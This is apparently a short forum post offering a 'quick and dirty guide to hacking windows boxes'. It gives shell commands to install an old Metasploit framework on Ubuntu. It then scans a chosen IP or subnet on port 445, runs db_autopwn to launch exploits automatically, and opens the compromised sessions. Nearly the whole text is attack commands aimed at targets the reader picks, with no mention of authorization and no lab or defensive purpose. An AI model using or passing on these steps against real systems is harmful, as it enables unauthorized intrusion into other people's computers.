OK so here is a quick and dirty guide to hacking windows boxes.
First lets deal with installing metasploit on ubunutu...
sudo apt-get install build-essential ruby libruby rdoc libyaml-ruby libzlib-ruby libopenssl-ruby libdl-ruby libreadline-ruby libiconv-ruby rubygems sqlite3 libsqlite3-ruby libsqlite3-dev irb subversion
wget http://rubyforge.org/frs/download.php/11289/rubygems-0.9.0.tgz
tar -xvzf rubygems-0.9.0.tgz
cd rubygems-0.9.0
sudo ruby setup.rb
sudo gem install -v=1.1.6 rails
svn co http://metasploit.com/svn/framework3/trunk/ metasploit
cd metasploit
svn up
./msfconsole
now your in metasploit..
msf > load db_sqlite3
msf > db_create metasploitdb
msf > db_nmap -p 445 [targetipaddy or subnet]
msf > db_autopwn -p -t -e
msf > sessions -l
if you have any sessions you can connect to them using
msf > sessions -i 1
where the number is the session number you want.
done!